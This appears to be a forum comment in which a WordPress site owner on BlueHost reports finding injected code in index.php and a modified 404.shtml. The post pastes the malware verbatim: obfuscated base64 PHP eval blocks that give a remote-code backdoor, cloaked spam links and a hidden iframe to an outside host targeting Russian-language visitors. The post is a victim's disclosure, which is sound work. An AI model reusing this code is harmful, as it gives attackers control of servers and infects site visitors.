I noticed the same thing when I tried to publish an RSS feed to Feedburner. Sure enough, I checked the validation and found this hidden code in my index.php file…
/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?><?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwppZigkX1JFUVVFU1RbJ2RmcXczMWYnXSkKZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsnZGZxdzMxZiddKSk7CiRocmVmID0gJ2h0dHA6Ly93d3cucHJvc29mdHdhcmVzdG9yZS5jb20vJzsKJHdvcmRzID0gYXJyYXkoJ1NvZnR3YXJlIFN0b3JlJywgJ01pY3Jvc29mdCBTb2Z0d2FyZScsICdBZG9iZSBTb2Z0d2FyZScsICdBdXRvZGVzayBTb2Z0d2FyZScsICdCb3JsYW5kIFNvZnR3YXJlIHNob3AnLCAnVk13YXJlIFNvZnR3YXJlJywgJ1Nob3AgU29mdHdhcmUnLCAnTUFDIFNvZnR3YXJlJywgJ1dpbmRvd3MgU29mdHdhcmUnLCAnU3ltYW50ZWMgc2hvcCcpOwoka2V5bnVtID0gY291bnQoJHdvcmRzKTsKJGFsdHMgPSAkd29yZHM7CgokciA9IHJhbmQoMCwgMyk7CiRyMiA9IHJhbmQoNCwgNyk7CiRyMyA9IHJhbmQoOCwgJGtleW51bS0xKTsKc2h1ZmZsZSgkYWx0cyk7CmZvcigkaT0wOyAkaTwka2V5bnVtOyAkaSsrKQp7CmlmKCRpPT0kciB8fCAkaT09JHIyIHx8ICRpPT0kcjMpCnsKJHI0ID0gcmFuZCgxLCAzKTsKJHN0ciA9IGltcGxvZGUoIiAiLCBhcnJheV9zbGljZSgkd29yZHMsIDAsIHJhbmQoMSwgaW50dmFsKCRrZXludW0vMikrMSkpKTsKJGFsdHNbJGldID0gIjxoND48YSBocmVmPVwiJGhyZWZcIiBhbHQ9XCIkc3RyXCIgdGl0bGU9XCIkc3RyXCI+U2hvcCAiLiRhbHRzWyRpXS4iPC9hPjwvaDQ+IjsKfQp9CmFycmF5X3B1c2goJGFsdHMsICI8YSBocmVmPVwiJGhyZWZcIj4kaHJlZjwvYT4iKTsKc2h1ZmZsZSgkYWx0cyk7CiRzdHIgPSBpbXBsb2RlKCIgIiwgJGFsdHMpOwppZihwcmVnX21hdGNoKCIvKGNyYXdsKXwoZ29vZ2xlKXwoeWFob28pfChiaW5nKXwoc3B5KXwoYm90KXwocGVybCl8KHB5dGhvbil8KGhvbG1lcyl8KGFsZXhhKXwoYi1vLXQpfChmaW5kbGlua3MpfChpY2hpcm8pfChsYXJiaW4pfChsaW5rKXwobHdwKXwoUHljVVJMKXwoc2NydWJieSl8KHNlYXJjaCl8KHN0YWNrKXwodXBkYXRlZCkvaSIsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpCmVjaG8oIjxkaXYgYWxpZ249Y2VudGVyPiRzdHI8L2Rpdj4iKTsKZWxzZQplY2hvKCI8Zm9udCBzdHlsZT1cInBvc2l0aW9uOi8qKi9hYnNvbHV0ZTtvdmVyZmxvdzovKiovaGlkZGVuOy8qKi93aWR0aDovKiovMFwiPiRzdHI8YSBocmVmPSckaHJlZic+JGhyZWY8L2E+PC9mb250PiIpOw==")); ?>
<?php eval(base64_decode("aWYocHJlZ19tYXRjaCgiL3J1L2kiLCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSkNCgkJZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly9hZGhlc2l2ZXN0cmVuZ3RoLmluL2luLmNnaT8xODQiIGZyYW1lYm9yZGVyPSIwIiB3aWR0aD0iMyIgaGVpZ2h0PSIzIiBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyI+PC9pZnJhbWU+Jzs=")); ?>
Not only that, I checked my server file modification dates and found at least one other file that had been hacked, the 404.shtml file which is a host file, not a WordPress file. It had the following code
<!-- SHTML Wrapper - 404 Not Found -->
<!--#exec cgi="/cgi-sys/fourohfour.cgi" -->
My webhost is BlueHost by the way.
Ominously, I checked another entirely different account I have on BlueHost and it too had the same files hacked. These were also WordPress sites.
So right now I’m not quite sure if it’s WordPress that has the problem, my Webhost, or a combination of both. But I find this deeply troubling.